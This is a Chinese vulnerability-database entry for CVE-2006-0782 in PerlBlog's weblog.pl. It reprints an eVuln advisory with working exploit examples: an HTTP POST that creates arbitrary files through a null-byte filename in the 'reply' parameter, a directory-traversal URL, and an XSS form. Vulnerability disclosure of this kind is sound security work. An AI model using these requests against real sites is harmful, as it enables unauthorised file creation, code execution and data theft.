CVE-2006-0782
CVSS7.5
发布时间 :2006-02-19 06:02:00
修订时间 :2008-09-05 17:00:12
NMCOP    

[原文]Unspecified vulnerability in weblog.pl in PerlBlog 1.09b and earlier allows remote attackers to create arbitrary files and possibly execute arbitrary code via unspecified attack vectors related to improper handling of (1) the reply parameter, possibly involving injection of (2) the name parameter and (3) the body parameter.


[CNNVD]PerlBlog ‘weblog.pl’未明漏洞(CNNVD-200602-286)

        PerlBlog 1.09b及之前版本的weblog.pl中存在未明漏洞。远程攻击者可以借助与错误处理(1)reply参数,以及可能涉及(2)name参数和(3)body参数注入的未明攻击向量创建任意文件,并可能执行任意代码。

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:perlblog:perlblog:1.09b
cpe:/a:perlblog:perlblog:1.08
cpe:/a:perlblog:perlblog:1.09

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0782
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2006-0782
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200602-286
(官方数据源) CNNVD

- 其它链接及资源

http://xforce.iss.net/xforce/xfdb/24692
(UNKNOWN)  XF  perlblog-weblog-command-execution(24692)
http://evuln.com/vulns/81/summary.html
(VENDOR_ADVISORY)  MISC  http://evuln.com/vulns/81/summary.html
http://www.securityfocus.com/bid/16707
(UNKNOWN)  BID  16707
http://www.securityfocus.com/archive/1/archive/1/426260/100/0/threaded
(UNKNOWN)  BUGTRAQ  20060227 [eVuln] PerlBlog Multiple Vulnerabilities
http://securityreason.com/securityalert/508
(UNKNOWN)  SREASON  508
http://secunia.com/advisories/18924
(UNKNOWN)  SECUNIA  18924

- 漏洞信息

PerlBlog ‘weblog.pl’未明漏洞
高危 输入验证
2006-02-19 00:00:00 2006-02-20 00:00:00
远程  
        PerlBlog 1.09b及之前版本的weblog.pl中存在未明漏洞。远程攻击者可以借助与错误处理(1)reply参数,以及可能涉及(2)name参数和(3)body参数注入的未明攻击向量创建任意文件,并可能执行任意代码。

- 公告与补丁

        目前厂商还没有提供补丁或者升级程序,建议使用此软件的用户随时关注厂商的主页以获取最新版本。

- 漏洞信息 (F44282)

EV0081.txt (PacketStormID:F44282)
2006-03-02 00:00:00
Aliaksandr Hartsuyeu  evuln.com
exploit,arbitrary,xss
CVE-2006-0780,CVE-2006-0781,CVE-2006-0782
[点击下载]

PerlBlog versions 1.09b, 1.09, and 1.08 have been discovered as being susceptible to arbitrary file creation, directory traversal, and cross site scripting flaws. Exploit details provided.

New eVuln Advisory:
PerlBlog Multiple Vulnerabilities
http://evuln.com/vulns/81/summary.html

--------------------Summary----------------
eVuln ID: EV0081
CVE: CVE-2006-0780 CVE-2006-0781 CVE-2006-0782
Software: PerlBlog
Sowtware's Web Site: http://www.chronicled.org/perlblog/
Versions: 1.09b 1.09 1.08 - checked
Critical Level: Dangerous
Type: Multiple Vulnerabilities
Class: Remote
Status: Unpatched. No reply from developer(s)
Exploit: Available
Solution: Not Available
Discovered by: Aliaksandr Hartsuyeu (eVuln.com)

-----------------Description---------------
1. Arbitrary file creation with user-defined data.

Vulnerable script: weblog.pl
User-defined post variables are not properly sanitized. "reply" parameter may contain arbitrary filename. weblog.pl creates a file with "name" and "body" parameter values included.

System access is possible.


2. Directory traversal vulnerability.

Vulnerable script: weblog.pl
Input parameter "month" isn't properly sanitized. This can be used to read arbitrary txt-files.


3. Cross-Site Scripting vulnerability.

Vulnerable script: weblog.pl
Post variables "name" and "email" are not properly sanitized. This can be used to post arbitrary HTML or JavaScript code.

--------------Exploit----------------------
Available at: http://evuln.com/vulns/81/exploit.html

1. Arbitrary file creation with user-defined data.
HTTP query example:

POST /cgi-bin/perlblog/weblog.pl HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Host: [host]
Content-Length: 124

date=02/14/2006-23:33&headerfile=200505&subject=Re: Welcome!&reply=[anyfilename]% 00&name=[anytext]&body=[anytext]&post=reply



2. Directory traversal vulnerability.

http://[host]/cgi-bin/perlblog/weblog.pl? month=../license

3. Cross-Site Scripting vulnerability.

<FORM NAME="forum" ACTION="http://[host]/cgi-bin/perlblog/weblog.pl" METHOD="POST">
<INPUT NAME="date" VALUE="02/14/2006-23:33">
<INPUT NAME="headerfile" VALUE="200505">
<INPUT NAME="subject" VALUE="Re: Welcome!">
<INPUT NAME="reply" VALUE="1">
<INPUT NAME="post" VALUE="reply">
<INPUT TYPE="TEXT" NAME="name" value='[XSS]'>
<INPUT TYPE="TEXT" NAME="email" value='">[XSS]'>
<TEXTAREA></TEXTAREA>
<INPUT TYPE="Submit" VALUE="Post Comment">
</FORM>
	


--------------Solution---------------------
No Patch available.

--------------Credit-----------------------
Discovered by: Aliaksandr Hartsuyeu (eVuln.com)


Regards,
Aliaksandr Hartsuyeu
http://evuln.com - Penetration Testing Services
    

- 漏洞信息

23276
PerlBLOG weblog.pl Arbitrary File Creation
Remote / Network Access Input Manipulation
Loss of Integrity Solution Unknown

- 漏洞描述

- 时间线

2006-02-15 Unknow
Unknow Unknow

- 解决方案

OSVDB is not aware of a solution for this vulnerability.

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站